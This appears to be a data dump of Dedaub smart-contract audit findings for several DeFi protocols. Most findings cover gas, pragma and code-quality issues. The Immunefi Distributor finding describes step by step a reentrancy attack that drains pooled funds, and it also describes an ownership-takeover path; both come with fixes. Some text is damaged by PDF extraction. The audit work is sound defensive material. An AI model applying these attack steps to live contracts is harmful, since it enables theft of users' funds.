ERC721::_beforeTokenTransfer() function _beforeTokenTransfer( address from, address to, uint256, /* firstTokenId */ uint256 batchSize ) internal virtual { if (batchSize > 1) { if (from != address(0)) { _balances[from] -= batchSize; } if (to != address(0)) { _balances[to] += batchSize; } } } ERC20BondStakingModule::_beforeTokenTransfer() function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { if (from != address(0)) _remove(from, tokenId); if (to != address(0)) _append(to, tokenId); } 1", - "labels": [ - "Dedaub", - "GYSR - Mar '23", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", - "body": "tests RESOLVED There are some cases in the test scripts that fail due to the grammar changes that OZ introduced at commit fbf235661e01e27275302302b86271a8ec136fea. They updated the revert messages of the approve(), transferFrom() and safeTransferFrom() functions from: ERC721: caller is not token owner nor approved to: ERC721: caller is not token owner or approved However, the tests haven't been updated to reflect the new changes, so they fail. The aected tests are the following: aquarium.js LoC:113 - when token transfer has not been approved erc20bondstakingmodule.js LoC: 1680 - when user transfers a bond position they do not own LoC: 1689 - when user safe transfers a bond position they do not own LoC: 1699 - when user transfers a bond position that they already transferred", - "labels": [ - "Dedaub", - "GYSR - Mar '23", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", - "body": "gas optimization RESOLVED Since the protocol tries to minimize the gas consumption to the minimum possible, we suggest here a minor optimization in ERC20FixedRewardModule. The pos.updated value could be updated inside the if statement above instead of having to check again whether the period has ended or not. 1 ERC20FixedRewardModule::claim() function claim( bytes32 account, address, address receiver, uint256, bytes calldata ) external override onlyOwner returns (uint256, uint256) { ... if (block.timestamp > end) { e = d; } else { uint256 last = pos.updated; e = (d * (block.timestamp - last)) / (end - last); } ... // Dedaub: This update could be transferred to the above if statement // pos.updated = uint128(block.timestamp < end ? block.timestamp : end); ... for avoiding rechecking whether the period has ended }", - "labels": [ - "Dedaub", - "GYSR - Mar '23", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", - "body": "comment in OwnerController RESOLVED The OwnerController contract provides functionality for the rest of the protocol contracts to manage their owners and their controllers. However, while the comments of the transferOwnership() function state that the owner can renounce ownership by transferring to address(0), this is not possible with the current code as it reverts when the newOwner address is 0. OwnerController::transferOwnership() /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * This can include renouncing ownership by transferring to the zero * address. Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual override { 1 requireOwner(); require(newOwner != address(0), \"oc3\"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } A5 Compiler bugs INFO The code is compiled with Solidity 0.8.18. Version 0.8.18, at the time of writing, has no known bugs. 1", - "labels": [ - "Dedaub", - "GYSR - Mar '23", - "Severity: Informational" - ] - }, - { - "title": "out of gas situation in RewardDistributor and DecollateralisationManager contract ", - "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", - "body": " DISMISSED The RewardsDistributor::getAllUnclaimedRewardAmountsForUserAndAsset() function performs a nested loop that iterates over all possible rewards for all amounts staked by a given user. Since both of these amounts are potentially unbounded, an out of gas error may eventually occur. //RewardsDistributor.sol::getAllUnclaimedRewardAmountsForUserAndAsset function getAllUnclaimedRewardAmountsForUserAndAssets( address[] calldata assets, address user external view override returns (address[] memory rewardsList, uint[] memory unclaimedAmounts) RewardsDataTypes.AssetStakedAmounts[] memory assetStakedAmounts = _getAssetStakedAmounts(assets,user); rewardsList = new address[](_rewardsList.length); unclaimedAmounts = new uint[](rewardsList.length); ) { for (uint i; i < assetStakedAmounts.length; i++) { for (uint r; r < rewardsList.length; r++) { rewardsList[r] = _rewardsList[r]; unclaimedAmounts[r] += _assetData[assetStakedAmounts[i].asset] .rewardDistribution[rewardsList[r]] .userReward[user] .accrued; if (assetStakedAmounts[i].userStake == 0) { continue; } unclaimedAmounts[r] += _computePendingRewardAmountForUser( user, rewardsList[r], assetStakedAmounts[i] ); } } return (rewardsList, unclaimedAmounts); } Similarly, the function getBatchesDecollateralisationInfo() of the contract DecollateralisationManager loops over all batchIds, the number of which could be unbounded. As already mentioned, this might eventually lead to an out of gas failure. //DecollateralisationManger.sol::getBatchesDecollateralisationInfo() function getBatchesDecollateralizationInfo( SolidWorldManagerStorage.Storage storage _storage, uint projectId, uint vintage external view returns (DomainDataTypes.TokenDecollateralizationInfo[] memory result) ) { DomainDataTypes.TokenDecollateralizationInfo[] memory allInfos = new DomainDataTypes.TokenDecollateralizationInfo[]( _storage.batchIds.length ); uint infoCount; for (uint i; i < _storage.batchIds.length; i++) { uint batchId = _storage.batchIds[i]; if ( _storage.batches[batchId].vintage != vintage || _storage.batches[batchId].projectId != projectId ) { continue; } (uint amountOut, uint minAmountIn, uint minCbtDaoCut) = _simulateDecollateralization( _storage, batchId, DECOLLATERALIZATION_SIMULATION_INPUT ); // Dedaub: part of the code is omitted for brevity infoCount = infoCount + 1; } result = new DomainDataTypes.TokenDecollateralizationInfo[](infoCount); for (uint i; i < infoCount; i++) { result[i] = allInfos[i]; } } This issue was discussed with the Solid World team, who estimated that the protocol will not use enough reward tokens, stakes or batchIds to cause it to run out of gas. 7 LOW SEVERITY: ID Descriptio ", - "labels": [ - "Dedaub", - "Solid World", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", - "body": "use of the override modier in several contracts RESOLVED In several contracts (most of which have been forked from Aave), many functions are marked with the override modier when no such function is actually inherited by the parent contract. These are probably leftovers from the time (prior to Solidity 0.8.8) when the override keyword was mandatory when a contract was implementing a function from a parent interface EmissionManager congureAssets setRewardOracle setDistributionEnd setEmissionPerSecond updateCarbonRewardDistribution setClaimer setRewardsVault setEmissionManager setSolidStaking setEmissionAdmin setCarbonRewardsManager getRewardsController getEmissionAdmin getCarbonRewardsManager RewardsController getRewardsVault 1 getClaimer getRewardOracle congureAssets setRewardOracle setClaimer setRewardsVault setSolidStaking handleUserStakeChange claimAllRewards claimAllRewardsOnBehalf claimAllRewardsToSelf RewardsDistributor getRewardDistributor getDistributionEnd getRewardsByAsset getAllRewards getUserIndex getAccruedRewardAmountForUser getUnclaimedRewardAmountForUserAndAssets setDistributionEnd setEmissionPerSecond updateCarbonRewardDistribution SolidStaking addToken stake withdraw withdrawStakeAndClaimRewards balanceOf totalStaked getTokensDistributor::getAllUnclaimedReward Resolved in commit 1ad958b6f0d74507c038bd49da281a572e170907. 1", - "labels": [ - "Dedaub", - "Solid World", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", - "body": "events could incorporate additional information INFO Creation events, CategoryCreated, ProjectCreated, BatchCreated, could include more information related to the category, project or batch associated with them.", - "labels": [ - "Dedaub", - "Solid World", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - Feb '23.pdf", - "body": "related gas optimization RESOLVED The elds of DomainDataTypes::Category struct can be reordered to be tighter packed in 4 instead of 5 storage slots. // DomainDataTypes.sol::Category struct Category { uint volumeCoefficient; uint40 decayPerSecond; uint16 maxDepreciation; uint24 averageTA; uint totalCollateralized; uint32 lastCollateralizationTimestamp; uint lastCollateralizationMomentum; } // Dedaub: tighter packed version struct Category { uint volumeCoefficient; uint40 decayPerSecond; uint16 maxDepreciation; uint24 averageTA; uint32 lastCollateralizationTimestamp; uint totalCollateralized; uint lastCollateralizationMomentum; } We measured that in certain test cases the use of less SLOAD and STORE instructions reduced the gas consumption by around 1.5-2% and did not cause any regression in 1 terms of gas consumption (and of course correctness). Resolved in commit b3e79c2456ecca913be0165fd49992eba8e6e1. A4 Compiler version and possible bugs RESOLVED The code is compiled with the floating pragma ^0.8.16. It is recommended that the pragma is xed to a specic version. Versions ^0.8.16 of Solidity in particular, have some known bugs, which we do not believe aect the correctness of the contracts. Resolved in commit d68cfaf512d5eb8da646780350713d6c98ad7da2. 1", - "labels": [ - "Dedaub", - "Solid World", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Furucombo/Furucombo smart wallet and gelato audit Sep 21.pdf", - "body": "use of weak blacklists Furucombo Gelato makes use of a number of blacklists including: - Who can create a new task - What task can be created It is however trivial for any user to get around this blacklisting style. For instance, in the case of a task, one can simply add some additional calldata which does not aect the semantics of the task. Therefore, if there is a reason to blacklist users or tasks, a stronger mechanism needs to be designed. L2 delegateCallOnly methods not properly guarded in Actions CLOSED In TaskExecutor the delegateCallOnly() modier is dened to ensure that the batchExec() method is only called via delegate call, as intended by the deployers. This can be reused by the other Actions as well, to make sure that they are not misused. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend addressing them. ", - "labels": [ - "Dedaub", - "Furucombo smart wallet and gelato", - "Severity: Low" - ] - }, - { - "title": "pragma ", - "html_url": "https://github.com/dedaub/audits/tree/main/Furucombo/Furucombo smart wallet and gelato audit Sep 21.pdf", - "body": " CLOSED The floating pragma pragma solidity ^0.6.0; is used in most contracts, allowing them to be compiled with the 0.6.0 - 0.6.12 versions of the Solidity compiler. Although the dierences between these versions are small, floating pragmas should be avoided and the pragma should be xed to the version that will be used for the contracts deployment. A2 Compiler known issues INFO The contracts were compiled with the Solidity compiler 0.6.12 which, at the time of writing, has multiple issues related to memory arrays. Since furrucombo-smart-wallet makes heavy use of memory arrays, and sending and receiving these to third party contracts, it is worth considering switching to a newer version of the Solidity compiler. 0", - "labels": [ - "Dedaub", - "Furucombo smart wallet and gelato", - "Severity: Informational" - ] - }, - { - "title": "code ", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": " RESOLVED In UniswapLib.sol, the struct Slot0 denition is not being used. It is recommended that it be removed as it is dead code.", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "simplication RESOLVED In UniswapConfig.sol, all getTokenConfigBy* functions have a check that the index is not type(uint).max, however this is redundant as getTokenConfig already covers this case by checking that index < numTokens. For example: function getTokenConfigBySymbolHash(bytes32 symbolHash) public view returns (TokenConfig memory) { uint index = getSymbolHashIndex(symbolHash); // Dedaub: Redundant check; getTokenConfig checks that index < numTokens. That check covers the case where index == type(uint).max // if (index != type(uint).max) { return getTokenConfig(index); } revert(\"token config not found\"); } Can be simplied to: function getTokenConfigBySymbolHash(bytes32 symbolHash) public view returns (TokenConfig memory) { uint index = getSymbolHashIndex(symbolHash) return getTokenConfig(index); }", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "trailing modier parentheses DISMISSED There are a couple of instances where even zero-argument modiers are used with parentheses, even though they can be omied. For example, in UniswapAnchoredView::activateFailover: function activateFailover(bytes32 symbolHash) external onlyOwner() { ... } This paern can be found in: UniswapAnchoredView::activateFailover UniswapAnchoredView::deactivateFailover Ownable::transferOwnership", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "sanity check for xed price assets RESOLVED In the UniswapAnchoredView constructor, xed price assets (either ETH or USD pegged) check that the provided uniswap market is zero, however the reporter eld is unchecked. It is recommended that the reporter be also required to be zero, for consistency: else { require(uniswapMarket == address(0), \"only reported prices utilize an anchor\"); // Dedaub: Check that reporter is also 0 require(config.reporter == address(0), \"only reported prices utilize a reporter\"); }", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "functionality is cryptic (fetchAnchorPrice) RESOLVED The correctness of the calculation in UniswapAnchoredView::fetchAnchorPrice is very hard to establish. More comments would help. Specically, the code reads function fetchAnchorPrice(TokenConfig memory config, uint conversionFactor) internal virtual view returns (uint) { uint256 twap = getUniswapTwap(config); uint rawUniswapPriceMantissa = twap; uint unscaledPriceMantissa = rawUniswapPriceMantissa * conversionFactor; uint anchorPrice = unscaledPriceMantissa * config.baseUnit / ethBaseUnit / expScale; return anchorPrice; } The correctness of this calculation depends on the following understanding, which should be documented in code comments, or the functionality is entirely cryptic. (We note that the original UAV code had similar comments, although the ones below are our own.) getUniswapTwap returns the price between the baseUnits of the two tokens in a pair, scaled to e18 rawUniswapPriceMantissa * config.baseUnit : price of 1 token (instead of one baseUnit of token), relative to baseUnit of the other token. Still scaled at e18 unscaledPriceMantissa * config.baseUnit / expScale : (mathematically, not in integer arithmetic) price of 1 token relative to baseUnit of the other, scaled at 1 unscaledPriceMantissa * conversionFactor * config.baseUnit / ethBaseUnit / expScale : in the case of ETH-USDC, conversionFactor is ethBaseUnit, and the above happens to return 1 ETH's price in USDC with 6 decimals of precision, just because the USDC unit has 6 decimals in the case of other tokens, the conversionFactor is the 6-decimal ETH-USDC price, hence the result is the price of 1 token relative to 1 ETH, at 6-decimal precision.", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "warning RESOLVED The Solidity compiler is issuing a warning for the UniswapAnchoredView::priceInternal function, that the return variable may be unassigned. While this is a false warning, it can be easily suppressed with a simple refactoring of the form: function priceInternal(TokenConfig memory config) internal view returns (uint) if (config.priceSource == PriceSource.REPORTER) return prices[config.symbolHash].price else if (config.priceSource == PriceSource.FIXED_USD) return config.fixedPrice; else { uint usdPerEth = prices[ethHash].price; require(usdPerEth > 0, \"ETH price not set, cannot convert to dollars\"); return usdPerEth * config.fixedPrice / ethBaseUnit; } }", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "code (UniswapConfig::getTokenConfig) RESOLVED The expression: ((isUniswapReversed >> i) & uint256(1)) == 1 ? true : false can be shortened to the more elegant: ((isUniswapReversed >> i) & uint256(1)) == 1", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", - "body": "pragma RESOLVED The floating pragma pragma solidity ^0.8.7; is used in most contracts, allowing them to be compiled with any version of the Solidity compiler v0.8.* after, and including, v0.8.7. Although the dierences between these versions are small, floating pragmas should be avoided and the pragma should be xed to the version that will be used for the contract deployment (Solidity version 0.8.7 at the audit commit hash). A9 Compiler known issues INFO The contracts were compiled with the Solidity compiler v0.8.7 which, at the time of writing, have some known bugs. We inspected the bugs listed for version 0.8.7 and concluded that the subject code is unaected", - "labels": [ - "Dedaub", - "Chainlink Uniswap Anchored View", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": "margins mapping indexing in SwapManager::swap RESOLVED Method SwapManager::swap performs an internal balance deposit on the margins mapping when params.toMargin evaluates to true. The margins mapping is a double mapping, going from a PrimitiveEngine address to a user address to the users margin. Instead of indexing the rst mapping with params.engine and the second with msg.sender, indexing is implemented the other way around, leading to invalid PrimitiveHouse state. H2 Incorrect margin deposit value in SwapManager::swap RESOLVED There is a second issue with the margins mapping update operation in SwapManager::swap (the one discussed in issue H1). The deposited amount of tokens is deltaIn instead of deltaOut, which creates inconsistency between the states of PrimitiveEngine and PrimitiveHouse and in general is not consistent with the protocols logic. The following snippet addresses both this issue and issue H1: if (params.toMargin) { margins[params.engine][msg.sender].deposit( params.riskyForStable ? params.deltaOut : 0, params.riskyForStable ? 0 : params.deltaOut ); } 0 [After our report, the Primitive Finance team identied that the deltaOut amount was deposited in the wrong margin, i.e., deltaOut risky in stable margin and the other way around. Consequently, the above example has the ternary operator result expressions inverted in its nal form.] MEDIUM SEVERITY: [No medium severity issues] LOW SEVERITY: ", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: High" - ] - }, - { - "title": "Flash-Loan Functionality ", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": " DISMISSED PrimitiveEngine::swap can be actually used to get flash loans from the Primitive reserves. However, this functionality is not documented and may have been implemented by mistake. One can get flash loans by implementing a contract with the swapCallback function. When this gets called by the engine, the output ER", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": "have already been transferred to the engine contract, and all that is required for the rest of the transaction to succeed is to transfer the input tokens back.", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": "Multicall Error Handling OPEN The Multicall error handling mechanism assumes a xed ABI for error messages. This would have worked in Solidity 0.7.x for the default Error(string) ABI. However, Solidity has custom ABIs for 0.8.x that can encode valid errors with a shorter returndata. The correct way to propagate errors is to re-raise them (e.g., by copying the returndata to the revert input data). 0", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": "Reserve Balance Mechanisms DISMISSED The balances of the two reserve tokens in the engine are sometimes tracked by incrementing/decrementing internal counters and sometimes by checking balanceOf(). This not only causes the system to read more storage locations, and thus consume more gas, but it also automatically disqualies tokens that have dynamic balances such as aTokens. Fixed Swap Fee Might Not Compensate Theta Decay For All L4 Asset Pairs SPEC CHANGED Options, manifesting themselves as asset pairs of dierent types will encode dierent proportions of intrinsic and extrinsic value. Although the swap fee is meant to compensate for theta decay, it seems strange that this cannot be set per curve or per token pair. We note however that other important parameters such as sigma are customizable. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Low" - ] - }, - { - "title": "always returns true ", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": " RESOLVED Transfers::safeTransfer return value is always true (as noted in a comment), thus can be removed as an optimization.", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": "zero liquidity check in PrimitiveEngine::remove RESOLVED PrimitiveEngine::remove does not revert in case of 0 provided liquidity, which leads to unnecessary computation and gas fee for the user. PrimitiveHouse::remove implements an early check for such a scenario.", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", - "body": "Bookkeeping and Transfers DISMISSED The architecture as it currently stands, and the relationship between PrimitiveHouse and PrimitiveEngine causes multiple token transfers to intermediate contracts, and multiple layers of bookkeeping, with some redundancy. This causes the application to consume more gas. DISMISSED: The specic architecture is highly desired by the protocol developers. Nevertheless, a few transfer operations have been optimized. A4 No engine-risky-stable sanity check in PrimitiveHouse RESOLVED create and allocate methods In PrimitiveHouse::create and PrimitiveHouse::allocate the user has to provide the PrimitiveEngine address and the addresses of the risky and stable tokens, while there is no early check that ensures the pair of risky and stable tokens provided corresponds to the engine address. This check is implemented in the respective callback functions, maintaining the security of the protocol. However, the 0 execution of the contract will only revert at such a late point (i.e., in the callback) even if a user provides a wrong engine, risky and stable tokens triplet by mistake, leading to unnecessary gas consumption, which could have been avoided with an early check. 0", - "labels": [ - "Dedaub", - "Primitive Finance V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "adversary can alter the amount in Distributor.deposit Resolved (but since entire VestingNFTReceiver is removed, similar threats need to be considered in the context of the new architecture upon future audits) Distributor::deposit computes the withdrawAmount by comparing the balance before and after the transfer: uint256 initialBalance = _thisBalance(token); if (token == NATIVE_ASSET) { payable(receiver).sendValue(amount); } else { token.safeTransfer(receiver, amount); } uint256 finalBalance = _thisBalance(token); require(initialBalance > finalBalance, \"Distributor: did not withdraw\"); uint256 withdrawAmount = initialBalance - finalBalance; An adversary who controls the deposit of funds to the distributor can start withdrawing, and deposit funds back to the distributor from within his receive hook. This will cause the distributor to register a possibly much smaller withdrawAmount than the amount actually withdrawn. When used in combination with vestingNFTReceiver, an attack can be executed as follows: First, the adversary withdraws an amount from vesting into the distributor, by calling VestingNFTReceiver::withdraw via Distributor::call Then the adversary starts withdrawing the same amount from the distributor (even if the amount is larger than his own share) From within his receive hook, the adversary releases an equal amount (minus 1 wei) from vesting to the distributor (again by calling VestingNFTReceiver::withdraw via Distributor::call) As a result, the distributor registered a withdrawal of just 1 wei, and the adversary can withdraw again. Using the above procedure, an adversary with only 1% share can withdraw all funds from the distributor in a single transaction. An exploit of this vulnerability has been implemented and will be provided together with this report. 5 This vulnerability can be prevented by a cross-contract lock that prevents entering VestingNFTReceiver::withdraw while Distributor::withdraw is active. A lighter (but less robust) solution is to add the following check: require(withdrawAmount >= amount) One should also keep in mind a symmetric but harder to exploit vulnerability: if the victim calls Distributor::withdraw, and in his receive hook triggers some untrusted code (e.g., transfers the received funds), the adversary can do a nested Distributor::withdraw, causing the distributor to register a larger withdrawn amount for the victim that the real one (hence increasing the adversary's share). A nonReentrant guard in Distributor::withdraw prevents this. The general recommendation at the end of C2 also applies here. C2 The adversary can transferOwnership on Resolved vestingNFTReceiver change Via Distributor::call, an adversary can call VestingNFTReceiver::transferOwnership and call VestingNFTReceiver::withdraw directly (not via the distributor) and receive all vesting funds. himself, which ownership him to allows then the to This can be solved by removing the transferOwnership method and baking the owner into the VestingNFTReceiver during initialization. As a general recommendation, having a general-purpose Distributor contract which allows arbitrary interactions with VestingNFTReceiver via Distributor::call, makes it much harder to design a safe interface. We recommend using a distributor contract with exactly the needed functionality, possibly even merged with VestingNFTReceiver. This would easily solve C2, and would also make it easy to add a lock that solves C1. High Severity ", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "logic error in SumVesting combinator schedule Status Dismissed (intended behavior, assumptions on vesting schedules will be clearly stated) In combinator schedule SumVesting.sol it is implicitly assumed that the result of the sub-controllers for both getVested() and getWeight() is linearly dependant on the input amount function getVested(CommonParameters calldata input) external pure override returns (uint256 result) { [...] for (uint256 i; i < subControllers.length; i++) { IVestingController subController = subControllers[i]; uint256 share = subShares[i]; // Dedaub: should be input.amount * share/totalShares // Dedaub: but the division happens in the end nextInput.amount = share * input.amount; totalShares += share; [...] result += subController.getVested(nextInput); } result /= totalShares; } Thus the whole input amount is passed to all sub-controllers only to divide the accumulated result amount to the totalShares at the very end. While this assumption holds in the case of simple schedules, such as CliffVesting and LinearVesting, it may not hold for more complex ones that may be added in the future. 9 Similarly, an inaccurate input amount getContext(), createInitialState() and triggerEvent(). is passed to the sub-controllers in functions", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "testing that a transaction succeeded Resolved The following test is taken from test/commentary_tests.js : await expect(Notary.connect(Operator).submitCommentary(BYTES32_STRING)); await expect(Notary.connect(Operator).submitCommentary(BYTES32_ZERO)).to.be.reverted; It seems that the intention of the rst line is to test that submitCommentary succeeded without reverting. However this line does not really check anything, the test will pass even if submitCommentary reverts. The correct test would be: await expect(Notary.connect(Operator).submitCommentary(BYTES32_STRING)).not.to.be.rever ted; similar Many exist test/distributor_tests.js (and possibly elsewhere). commentary_tests.js, cases in contract_tests.js and In the following case, adding the .not.to.be.reverted revealed logic errors in the test: it(\"Validating the attestation on disclosed report `AFTER` ATTESTATION_DELAY\", async function () { await Notary.connect(Triager).attest(reportRoot, kk, commit) await expect(Notary.connect(Triager).disclose(reportRoot, key, salt, value, merkleProofval)) const increaseTime = ATTESTATION_DELAY * 60 * 60 // ATTESTION in `hour` format x 60 min x 60 sec await ethers.provider.send(\"evm_increaseTime\", [increaseTime]) // 1. increase block time await ethers.provider.send(\"evm_mine\") // 2. then mine the block ... Here, disclose is executed before the ATTESTATION_DELAY so it should fail, although the test makes it look like it should succeed. The reason why the test passes is that: 1. The await expect(...) line performs no checks 10 2. Moreover this line does not wait for the transaction to nish, so although disclose is launched before moving time forward, it is executed in the future block, after the time delay, and as a consequence it succeeds. So, if .not.to.be.reverted is added to the await expect(...) line, the test will fail, unless the line is moved after the time increase.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "variables Resolved There are some variables in contracts Distributor.sol and TokenMinter.sol that are assigned during contract construction and could never change thereafter. In Distributor.sol: /// Only settable by the initializer. bool public override callEnabled; address public override nftHolder; uint256 public override maxBeneficiaries In TokenMinter.sol: /// This initialized by the deployer. The token is completely trusted. IImmunefiToken public override token; We suggest these variables be declared immutable for clarity and gas efciency.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "receive hook Dismissed (hook needed by IVestingNFTFunder.vestingN FTCallback) The receive() hook in VestingNFT is not to be used intentionally, since ETH is received via mint(). It would be better to revert to avoid accidentally receiving ETH.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "need to construct a Merkle Tree can be easily avoided Open A large amount of code (MerkleTree.sol / QuickSort.sol) is aimed at constructing (rather than verifying) a MT. However, this is only used by BugReportNotary.assignNullCommentary to construct a tree for a trivial empty commentary. This can be easily avoided by having a hard-coded constant value NULL_COMMENTARY that denotes an empty commentary. The call to discloseCommentary can be omitted in this case 11 (or discloseCommentary can simply check that the value is empty) and NULL_COMMENTARY can be immediately set as canonical.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "code Partially resolved (dead code still present in LinearVesting.sol) In vesting schedule CliffVesting.sol function _decodeParams() is supposed to return a uint256 value function _decodeParams(bytes calldata params) internal pure returns (uint256 cliffTime) { cliffTime = abi.decode(params, (uint256)); } However, this schedule requires an empty parameter list function checkParams(CommonParameters calldata input) external pure override { require(input.params.length == 0); } All three internal functions _decodeParams(), _decodeState() and decodeContext() are never called for CliffVesting, while the later two are also never called for LinearVesting schedules. We suggest that all unused functions be removed for clarity and gas savings. Alternatively, the current body of CliffVesting::_decodeParams should be removed.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "function argument Resolved (argument is not redundant for code extensibility reasons) In KeeperRewards::keeperRewards the rst argument is redundant function keeperRewards(address, uint256 value) external pure override returns (uint256) { return value / 1000; } We suggest it be removed for clarity. Also, the constant 1000 in the same code is an arbitrary magic constant, best given a name to document intent.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "calling pattern Resolved 12 In BugReportNotary the MerkleProof::verify function is called with different syntax. Once as: merkleProof.verify(reportRoot, leafHash) and once as: MerkleProof.verify(merkleProof, commentaryRoot, leafHash) We recommend making uniform for consistency.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "in vestingNFT Info The README asks for possible ways to remove ReentrancyGuard from vestingNFT. We believe that these guards are critical and advise against trying to remove them (we see no safe way to do so, while keeping the dynamic way of computing the amount of transferred tokens). In particular, a reentrancy to mint from withdraw will directly lead to a severe loss of funds. Currently this is indirectly protected by the nonReentrant ag in _deposit and _beforeTokenTransferInner (we recommend clearly documenting the importance of these ags, to prevent them from getting accidentally removed).", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "funds in a single contract (VestingNFT) Info The architecture stores all ERC-20 tokens (assets) in a single contract (VestingNFT), and accounting for how they are shared among many different NFTs/bounties. This is a decision that puts a signicant burden on asset accounting. It should be simpler/safer to have a treasury contract that indexes assets by NFT and keeps assets entirely separate. However, the current design seems to exist 